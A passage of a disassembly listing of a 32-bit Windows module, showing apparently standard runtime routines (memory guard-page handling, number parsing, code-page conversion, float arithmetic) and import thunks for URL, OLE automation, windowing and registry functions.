call ds:VirtualQuery ; VirtualQuery
test eax, eax
jz short loc_69B877D2
mov ebx, [ebp+Buffer.AllocationBase]
lea eax, [ebp+SystemInfo]
push eax ; lpSystemInfo
call ds:GetSystemInfo ; GetSystemInfo
mov ecx, [ebp+SystemInfo.dwPageSize]
mov eax, dword_69B95AFC
lea edi, [ecx-1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0FFFFFFF1h
add esi, 11h
imul esi, ecx
add esi, ebx
cmp edi, esi
mov [ebp+dwSize], ecx
jb short loc_69B877D2
cmp eax, 1
jz short loc_69B877F3
mov [ebp+lpAddress], ebx
mov ebx, 1000h
loc_69B8779F: ; CODE XREF: sub_69B87737+84j
push 1Ch ; dwLength
lea eax, [ebp+Buffer]
push eax ; lpBuffer
push [ebp+lpAddress] ; lpAddress
call ds:VirtualQuery ; VirtualQuery
test eax, eax
jz short loc_69B877D2
mov eax, [ebp+Buffer.RegionSize]
add [ebp+lpAddress], eax
test [ebp+Buffer.State], ebx
jz short loc_69B8779F
test byte ptr [ebp+Buffer.Protect+1], 1
mov eax, [ebp+Buffer.BaseAddress]
mov [ebp+lpAddress], eax
jz short loc_69B877CE
xor eax, eax
inc eax
jmp short loc_69B87812
; ---------------------------------------------------------------------------
loc_69B877CE: ; CODE XREF: sub_69B87737+90j
cmp edi, eax
jnb short loc_69B877D6
loc_69B877D2: ; CODE XREF: sub_69B87737+22j
; sub_69B87737+59j ...
xor eax, eax
jmp short loc_69B87812
; ---------------------------------------------------------------------------
loc_69B877D6: ; CODE XREF: sub_69B87737+99j
cmp eax, esi
jnb short loc_69B877DD
mov [ebp+lpAddress], esi
loc_69B877DD: ; CODE XREF: sub_69B87737+A1j
push 4 ; flProtect
push ebx ; flAllocationType
push [ebp+dwSize] ; dwSize
push [ebp+lpAddress] ; lpAddress
call ds:VirtualAlloc ; VirtualAlloc
mov eax, dword_69B95AFC
jmp short loc_69B877F6
; ---------------------------------------------------------------------------
loc_69B877F3: ; CODE XREF: sub_69B87737+5Ej
mov [ebp+lpAddress], edi
loc_69B877F6: ; CODE XREF: sub_69B87737+BAj
dec eax
neg eax
sbb eax, eax
and eax, 103h
lea ecx, [ebp+flOldProtect]
push ecx ; lpflOldProtect
inc eax
push eax ; flNewProtect
push [ebp+dwSize] ; dwSize
push [ebp+lpAddress] ; lpAddress
call ds:VirtualProtect ; VirtualProtect
loc_69B87812: ; CODE XREF: sub_69B87737+95j
; sub_69B87737+9Dj
lea esp, [ebp-58h]
pop edi
pop esi
pop ebx
leave
retn
sub_69B87737 endp
; =============== S U B R O U T I N E =======================================
sub_69B8781A proc near ; CODE XREF: sub_69B878AA+2Ap
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_69B87827
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B87827: ; CODE XREF: sub_69B8781A+7j
push edi
call sub_69B84DE2
mov edi, [eax+64h]
cmp edi, off_69B9AB2C
jz short loc_69B8783F
call sub_69B85A60
mov edi, eax
loc_69B8783F: ; CODE XREF: sub_69B8781A+1Cj
; sub_69B8781A+4Bj
cmp dword ptr [edi+28h], 1
movzx eax, byte ptr [esi]
jle short loc_69B87856
push 8
push eax
push edi
call sub_69B86E55
add esp, 0Ch
jmp short loc_69B87860
; ---------------------------------------------------------------------------
loc_69B87856: ; CODE XREF: sub_69B8781A+2Cj
mov ecx, [edi+48h]
movzx eax, byte ptr [ecx+eax*2]
and eax, 8
loc_69B87860: ; CODE XREF: sub_69B8781A+3Aj
test eax, eax
jz short loc_69B87867
inc esi
jmp short loc_69B8783F
; ---------------------------------------------------------------------------
loc_69B87867: ; CODE XREF: sub_69B8781A+48j
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, 2Dh
mov edx, ecx
pop edi
jz short loc_69B87878
cmp ecx, 2Bh
jnz short loc_69B8787C
loc_69B87878: ; CODE XREF: sub_69B8781A+57j
movzx ecx, byte ptr [esi]
inc esi
loc_69B8787C: ; CODE XREF: sub_69B8781A+5Cj
xor eax, eax
loc_69B8787E: ; CODE XREF: sub_69B8781A+85j
cmp ecx, 30h
jl short loc_69B8788D
cmp ecx, 39h
jg short loc_69B8788D
sub ecx, 30h
jmp short loc_69B87890
; ---------------------------------------------------------------------------
loc_69B8788D: ; CODE XREF: sub_69B8781A+67j
; sub_69B8781A+6Cj
or ecx, 0FFFFFFFFh
loc_69B87890: ; CODE XREF: sub_69B8781A+71j
cmp ecx, 0FFFFFFFFh
jz short loc_69B878A1
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2]
movzx ecx, byte ptr [esi]
inc esi
jmp short loc_69B8787E
; ---------------------------------------------------------------------------
loc_69B878A1: ; CODE XREF: sub_69B8781A+79j
cmp edx, 2Dh
jnz short loc_69B878A8
neg eax
loc_69B878A8: ; CODE XREF: sub_69B8781A+8Aj
pop esi
retn
sub_69B8781A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_69B878AA(LCID Locale)
sub_69B878AA proc near ; CODE XREF: sub_69B1ECB1+676Ap
; sub_69B1AEC4+A6D3p
LCData = byte ptr -8
var_2 = byte ptr -2
Locale = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push 6 ; cchData
lea eax, [ebp+LCData]
push eax ; lpLCData
push 1004h ; LCType
push [ebp+Locale] ; Locale
mov [ebp+var_2], 0
call ds:GetLocaleInfoA ; GetLocaleInfoA
test eax, eax
jnz short loc_69B878D0
or eax, 0FFFFFFFFh
leave
retn
; ---------------------------------------------------------------------------
loc_69B878D0: ; CODE XREF: sub_69B878AA+1Fj
lea eax, [ebp+LCData]
push eax
call sub_69B8781A
pop ecx
leave
retn
sub_69B878AA endp
; =============== S U B R O U T I N E =======================================
sub_69B878DC proc near ; CODE XREF: sub_69B1ECB1+678Ap
; sub_69B1AEC4+A6FBp ...
push 34h
push offset dword_69B87AA8
call sub_69B19C5C
xor ebx, ebx
mov [ebp-1Ch], ebx
mov [ebp-20h], ebx
mov eax, [ebp+14h]
mov edi, [eax]
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov eax, [ebp+8]
cmp eax, [ebp+0Ch]
jz loc_69B87A8C
lea ecx, [ebp-3Ch]
push ecx ; lpCPInfo
push eax ; CodePage
mov esi, ds:GetCPInfo
call esi ; GetCPInfo
test eax, eax
jz short loc_69B87938
cmp dword ptr [ebp-3Ch], 1
jnz short loc_69B87938
lea eax, [ebp-3Ch]
push eax ; lpCPInfo
push dword ptr [ebp+0Ch] ; CodePage
call esi ; GetCPInfo
test eax, eax
jz short loc_69B87938
cmp dword ptr [ebp-3Ch], 1
jnz short loc_69B87938
mov dword ptr [ebp-28h], 1
loc_69B87938: ; CODE XREF: sub_69B878DC+3Aj
; sub_69B878DC+40j ...
cmp [ebp-28h], ebx
jz short loc_69B8795D
cmp edi, 0FFFFFFFFh
jz short loc_69B87946
mov esi, edi
jmp short loc_69B87958
; ---------------------------------------------------------------------------
loc_69B87946: ; CODE XREF: sub_69B878DC+64j
mov eax, [ebp+10h]
lea edx, [eax+1]
loc_69B8794C: ; CODE XREF: sub_69B878DC+75j
mov cl, [eax]
inc eax
test cl, cl
jnz short loc_69B8794C
sub eax, edx
lea esi, [eax+1]
loc_69B87958: ; CODE XREF: sub_69B878DC+68j
mov [ebp-40h], esi
jmp short loc_69B87960
; ---------------------------------------------------------------------------
loc_69B8795D: ; CODE XREF: sub_69B878DC+5Fj
mov esi, [ebp-40h]
loc_69B87960: ; CODE XREF: sub_69B878DC+7Fj
cmp [ebp-28h], ebx
jnz short loc_69B8797F
push ebx ; cchWideChar
push ebx ; lpWideCharStr
push edi ; cchMultiByte
push dword ptr [ebp+10h] ; lpMultiByteStr
push 1 ; dwFlags
push dword ptr [ebp+8] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov esi, eax
mov [ebp-40h], esi
cmp esi, ebx
jz short loc_69B879DD
loc_69B8797F: ; CODE XREF: sub_69B878DC+87j
mov [ebp-4], ebx
lea edi, [esi+esi]
mov eax, edi
add eax, 3
and eax, 0FFFFFFFCh
call sub_69B1B09C
mov [ebp-18h], esp
mov ebx, esp
mov [ebp-44h], ebx
mov ecx, edi
xor eax, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B879C9
; ---------------------------------------------------------------------------
loc_69B879B4: ; DATA XREF: .text:69B87AACo
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_69B879B8: ; DATA XREF: .text:69B87AB0o
mov esp, [ebp-18h]
call sub_69B87737
xor ebx, ebx
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-40h]
loc_69B879C9: ; CODE XREF: sub_69B878DC+D6j
test ebx, ebx
jnz short loc_69B879EB
mov edx, esi
push 2
pop ecx
call sub_69B1CE89
mov ebx, eax
test ebx, ebx
jnz short loc_69B879E4
loc_69B879DD: ; CODE XREF: sub_69B878DC+A1j
xor eax, eax
jmp loc_69B87A9F
; ---------------------------------------------------------------------------
loc_69B879E4: ; CODE XREF: sub_69B878DC+FFj
mov dword ptr [ebp-20h], 1
loc_69B879EB: ; CODE XREF: sub_69B878DC+EFj
push esi ; cchWideChar
push ebx ; lpWideCharStr
push dword ptr [ebp-24h] ; cchMultiByte
push dword ptr [ebp+10h] ; lpMultiByteStr
push 1 ; dwFlags
push dword ptr [ebp+8] ; CodePage
call ds:MultiByteToWideChar ; MultiByteToWideChar
test eax, eax
jz loc_69B87A8F
xor edi, edi
cmp [ebp+18h], edi
jz short loc_69B87A2D
push edi ; lpUsedDefaultChar
push edi ; lpDefaultChar
push dword ptr [ebp+1Ch] ; cchMultiByte
push dword ptr [ebp+18h] ; lpMultiByteStr
push esi ; cchWideChar
push ebx ; lpWideCharStr
push edi ; dwFlags
push dword ptr [ebp+0Ch] ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
test eax, eax
jz short loc_69B87A8F
mov eax, [ebp+18h]
mov [ebp-1Ch], eax
jmp short loc_69B87A8F
; ---------------------------------------------------------------------------
loc_69B87A2D: ; CODE XREF: sub_69B878DC+12Fj
cmp [ebp-28h], edi
jnz short loc_69B87A4A
push edi ; lpUsedDefaultChar
push edi ; lpDefaultChar
push edi ; cchMultiByte
push edi ; lpMultiByteStr
push esi ; cchWideChar
push ebx ; lpWideCharStr
push edi ; dwFlags
push dword ptr [ebp+0Ch] ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz short loc_69B87A8F
xor edi, edi
loc_69B87A4A: ; CODE XREF: sub_69B878DC+154j
mov edx, esi
xor ecx, ecx
inc ecx
call sub_69B1CE89
mov [ebp-1Ch], eax
cmp eax, edi
jz short loc_69B87A8F
xor edi, edi
push edi ; lpUsedDefaultChar
push edi ; lpDefaultChar
push esi ; cchMultiByte
push eax ; lpMultiByteStr
push esi ; cchWideChar
push ebx ; lpWideCharStr
push edi ; dwFlags
push dword ptr [ebp+0Ch] ; CodePage
call ds:WideCharToMultiByte ; WideCharToMultiByte
cmp eax, edi
jnz short loc_69B87A7F
push dword ptr [ebp-1Ch]
call sub_69B1D1FD
pop ecx
mov [ebp-1Ch], edi
jmp short loc_69B87A8F
; ---------------------------------------------------------------------------
loc_69B87A7F: ; CODE XREF: sub_69B878DC+193j
cmp dword ptr [ebp-24h], 0FFFFFFFFh
jz short loc_69B87A8F
mov ecx, [ebp+14h]
mov [ecx], eax
jmp short loc_69B87A8F
; ---------------------------------------------------------------------------
loc_69B87A8C: ; CODE XREF: sub_69B878DC+25j
mov ebx, [ebp-44h]
loc_69B87A8F: ; CODE XREF: sub_69B878DC+124j
; sub_69B878DC+147j ...
cmp dword ptr [ebp-20h], 0
jz short loc_69B87A9C
push ebx
call sub_69B1D1FD
pop ecx
loc_69B87A9C: ; CODE XREF: sub_69B878DC+1B7j
mov eax, [ebp-1Ch]
loc_69B87A9F: ; CODE XREF: sub_69B878DC+103j
lea esp, [ebp-50h]
call sub_69B1853C
retn
sub_69B878DC endp
; ---------------------------------------------------------------------------
dword_69B87AA8 dd 0FFFFFFFFh dd offset loc_69B879B4
dd offset loc_69B879B8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B87AB4 proc near ; CODE XREF: sub_69B87498+152p
; sub_69B87CD5+63p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
xor eax, eax
push ebx
mov ebx, [ebp+arg_4]
xor ecx, ecx
mov cx, [ebx+0Ah]
push esi
mov esi, [ebp+arg_0]
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
push edi
mov edi, ecx
mov edx, 7FFFh
and ecx, edx
xor edi, eax
and eax, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [eax+ecx]
mov [ebp+arg_0], edx
jnb loc_69B87CB5
cmp cx, 7FFFh
jnb loc_69B87CB5
cmp dx, 0BFFDh
ja loc_69B87CB5
cmp dx, 3FBFh
ja short loc_69B87B1F
xor eax, eax
jmp short loc_69B87B59
; ---------------------------------------------------------------------------
loc_69B87B1F: ; CODE XREF: sub_69B87AB4+65j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_69B87B41
inc [ebp+arg_0]
xor eax, eax
test [esi+8], edx
jnz short loc_69B87B43
cmp [esi+4], eax
jnz short loc_69B87B43
cmp [esi], eax
jnz short loc_69B87B43
jmp loc_69B87CAF
; ---------------------------------------------------------------------------
loc_69B87B41: ; CODE XREF: sub_69B87AB4+73j
xor eax, eax
loc_69B87B43: ; CODE XREF: sub_69B87AB4+7Dj
; sub_69B87AB4+82j ...
cmp cx, ax
jnz short loc_69B87B66
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_69B87B66
cmp [ebx+4], eax
jnz short loc_69B87B66
cmp [ebx], eax
jnz short loc_69B87B66
loc_69B87B59: ; CODE XREF: sub_69B87AB4+69j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_69B87CD0
; ---------------------------------------------------------------------------
loc_69B87B66: ; CODE XREF: sub_69B87AB4+92j
; sub_69B87AB4+9Aj ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_69B87B76: ; CODE XREF: sub_69B87AB4+124j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_69B87BCA
add eax, esi
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
lea ecx, [ebx+8]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_69B87B92: ; CODE XREF: sub_69B87AB4+114j
mov eax, [ebp+var_C]
mov ecx, [ebp+var_8]
movzx ecx, word ptr [ecx]
movzx eax, word ptr [eax]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_69B86ECC
add esp, 0Ch
test eax, eax
jz short loc_69B87BBD
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_69B87BBD: ; CODE XREF: sub_69B87AB4+101j
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_69B87B92
loc_69B87BCA: ; CODE XREF: sub_69B87AB4+CBj
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_69B87B76
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_69B87C0D
loc_69B87BE8: ; CODE XREF: sub_69B87AB4+150j
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_69B87C06
lea eax, [ebp+var_24]
push eax
call sub_69B86F4B
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
pop ecx
jg short loc_69B87BE8
loc_69B87C06: ; CODE XREF: sub_69B87AB4+138j
cmp word ptr [ebp+arg_0], 0
jg short loc_69B87C46
loc_69B87C0D: ; CODE XREF: sub_69B87AB4+132j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_69B87C46
mov eax, [ebp+arg_0]
neg eax
movzx ebx, ax
add [ebp+arg_0], ebx
loc_69B87C26: ; CODE XREF: sub_69B87AB4+186j
test byte ptr [ebp+var_24], 1
jz short loc_69B87C2F
inc [ebp+var_14]
loc_69B87C2F: ; CODE XREF: sub_69B87AB4+176j
lea eax, [ebp+var_24]
push eax
call sub_69B86F79
dec ebx
pop ecx
jnz short loc_69B87C26
cmp [ebp+var_14], 0
jz short loc_69B87C46
or byte ptr [ebp+var_24], 1
loc_69B87C46: ; CODE XREF: sub_69B87AB4+157j
; sub_69B87AB4+165j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_69B87C5D
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_69B87C91
loc_69B87C5D: ; CODE XREF: sub_69B87AB4+198j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_69B87C8E
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_69B87C89
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_69B87C83
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_69B87C91
; ---------------------------------------------------------------------------
loc_69B87C83: ; CODE XREF: sub_69B87AB4+1C2j
inc word ptr [ebp+var_1C+2]
jmp short loc_69B87C91
; ---------------------------------------------------------------------------
loc_69B87C89: ; CODE XREF: sub_69B87AB4+1B7j
inc [ebp+var_20+2]
jmp short loc_69B87C91
; ---------------------------------------------------------------------------
loc_69B87C8E: ; CODE XREF: sub_69B87AB4+1ADj
inc [ebp+var_24+2]
loc_69B87C91: ; CODE XREF: sub_69B87AB4+1A7j
; sub_69B87AB4+1CDj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_69B87CB5
mov cx, word ptr [ebp+var_24+2]
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
or eax, edi
loc_69B87CAF: ; CODE XREF: sub_69B87AB4+88j
mov [esi+0Ah], ax
jmp short loc_69B87CD0
; ---------------------------------------------------------------------------
loc_69B87CB5: ; CODE XREF: sub_69B87AB4+44j
; sub_69B87AB4+4Fj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_69B87CD0: ; CODE XREF: sub_69B87AB4+ADj
; sub_69B87AB4+1FFj
pop edi
pop esi
pop ebx
leave
retn
sub_69B87AB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B87CD5 proc near ; CODE XREF: sub_69B87074+394p
; sub_69B87498+139p
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_69B9AD98
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_69B87D48
jge short loc_69B87CF8
neg [ebp+arg_4]
mov ebx, offset dword_69B9AEF8
sub ebx, 60h
loc_69B87CF8: ; CODE XREF: sub_69B87CD5+16j
cmp [ebp+arg_8], ecx
jnz short loc_69B87D03
mov eax, [ebp+arg_0]
mov [eax], cx
loc_69B87D03: ; CODE XREF: sub_69B87CD5+26j
cmp [ebp+arg_4], ecx
jz short loc_69B87D48
push esi
push edi
loc_69B87D0A: ; CODE XREF: sub_69B87CD5+6Fj
mov eax, [ebp+arg_4]
sar [ebp+arg_4], 3
and eax, 7
add ebx, 54h
cmp eax, ecx
jz short loc_69B87D41
lea eax, [eax+eax*2]
lea esi, [ebx+eax*4]
cmp word ptr [esi], 8000h
jb short loc_69B87D34
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_69B87D34: ; CODE XREF: sub_69B87CD5+51j
push esi
push [ebp+arg_0]
call sub_69B87AB4
pop ecx
pop ecx
xor ecx, ecx
loc_69B87D41: ; CODE XREF: sub_69B87CD5+44j
cmp [ebp+arg_4], ecx
jnz short loc_69B87D0A
pop edi
pop esi
loc_69B87D48: ; CODE XREF: sub_69B87CD5+14j
; sub_69B87CD5+31j
pop ebx
leave
retn
sub_69B87CD5 endp
; ---------------------------------------------------------------------------
mov eax, offset InternetCrackUrlW
jmp short $+2
loc_69B87D52: ; CODE XREF: .text:69B87D68j
push ecx
push edx
push eax
push offset WININET_dll_import_table
call sub_69B1AA33
pop edx
pop ecx
jmp eax
; ---------------------------------------------------------------------------
mov eax, offset InternetCreateUrlW
jmp short loc_69B87D52
; ---------------------------------------------------------------------------
mov eax, offset LoadStringA
jmp short $+2
loc_69B87D71: ; CODE XREF: .text:69B87D87j
; .text:69B87D8Ej ...
push ecx
push edx
push eax
push offset USER32_dll_import_table
call sub_69B1AA33
pop edx
pop ecx
jmp eax
; ---------------------------------------------------------------------------
mov eax, offset GetActiveWindow
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset EnableMenuItem
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset GetMenuItemID
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset GetSubMenu
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset GetMenuState
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset GetMenuItemCount
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset DestroyMenu
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset TrackPopupMenu
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset RegisterClipboardFormatA
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset MsgWaitForMultipleObjects
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset DestroyWindow
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset CreateWindowExA
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset RegisterClassA
jmp short loc_69B87D71
; ---------------------------------------------------------------------------
mov eax, offset UnregisterClassA
jmp short loc_69B87D71
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, offset __imp_CreateURLMoniker
jmp short $+2
loc_69B87DF1: ; CODE XREF: .text:69B87E0Dj
; .text:69B87E1Aj ...
push ecx
push edx
push eax
push offset urlmon_dll_import_table
call sub_69B1AA33
pop edx
pop ecx
jmp eax
; [00000006 BYTES: COLLAPSED FUNCTION CreateURLMoniker. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, offset __imp_RegisterBindStatusCallback
jmp short loc_69B87DF1
; [00000006 BYTES: COLLAPSED FUNCTION RegisterBindStatusCallback. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, offset __imp_UrlMkGetSessionOption
jmp short loc_69B87DF1
; [00000006 BYTES: COLLAPSED FUNCTION UrlMkGetSessionOption. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, offset __imp_CoInternetGetSession
jmp short loc_69B87DF1
; [00000006 BYTES: COLLAPSED FUNCTION CoInternetGetSession. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
mov eax, offset RegisterTypeLib
jmp short $+2
loc_69B87E36: ; CODE XREF: .text:69B87E4Cj
; .text:69B87E53j ...
push ecx
push edx
push eax
push offset OLEAUT32_dll_import_table
call sub_69B1AA33
pop edx
pop ecx
jmp eax
; ---------------------------------------------------------------------------
mov eax, offset LoadTypeLib
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset UnRegisterTypeLib
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SysFreeString
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VariantInit
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VariantChangeType
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VariantClear
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SetErrorInfo
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset GetErrorInfo
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset CreateErrorInfo
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SysAllocString
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SysAllocStringLen
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayUnaccessData
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayDestroy
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayAccessData
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayCreateVector
jmp short loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarNumFromParseNum
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarParseNumFromStr
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarDateFromUdate
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarUdateFromDate
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VariantChangeTypeEx
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayGetUBound
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayGetLBound
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VariantCopy
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayCopy
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SysStringLen
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarDateFromBool
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarBoolFromCy
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarR8FromCy
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarDateFromCy
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarBstrFromCy
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarCyFromR8
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarDateFromR8
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarBstrFromR8
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarBoolFromDate
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarCyFromDate
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset VarR8FromDate
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset SafeArrayGetDim
jmp loc_69B87E36
; ---------------------------------------------------------------------------
mov eax, offset RegCloseKey
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegQueryValueExA
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegOpenKeyA
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegSetValueExA
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegEnumValueA
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegCreateKeyExA
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegDeleteKeyA
jmp loc_69B1AA22
; ---------------------------------------------------------------------------
mov eax, offset RegDeleteValueA
jmp loc_69B1AA22
; =============== S U B R O U T I N E =======================================
sub_69B87FDC proc near ; CODE XREF: sub_69B3A953+26p
; sub_69B3A9F7+21p ...
mov eax, [ecx+8]
shr eax, 2
not eax
and eax, 1
retn
sub_69B87FDC endp
; =============== S U B R O U T I N E =======================================
sub_69B87FE8 proc near ; CODE XREF: sub_69B4062A+24p
; sub_69B448B2+10p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
mov ebx, [esp+4+arg_8]
test ebx, ebx
mov eax, ecx
jnz short loc_69B87FFA
mov eax, 80004003h
jmp short loc_69B88037
; ---------------------------------------------------------------------------
loc_69B87FFA: ; CODE XREF: sub_69B87FE8+9j
push esi
mov esi, [esp+8+arg_4]
push edi
push 4
pop ecx
mov edi, offset stru_69B1CA6C
xor edx, edx
repe cmpsd
jz short loc_69B88027
mov edi, [eax+4]
mov esi, [esp+0Ch+arg_4]
push 4
pop ecx
xor eax, eax
repe cmpsd
jz short loc_69B88027
and [ebx], eax
mov eax, 80004002h
jmp short loc_69B88035
; ---------------------------------------------------------------------------
loc_69B88027: ; CODE XREF: sub_69B87FE8+24j
; sub_69B87FE8+34j
mov esi, [esp+0Ch+arg_0]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [ebx], esi
xor eax, eax
loc_69B88035: ; CODE XREF: sub_69B87FE8+3Dj
pop edi
pop esi
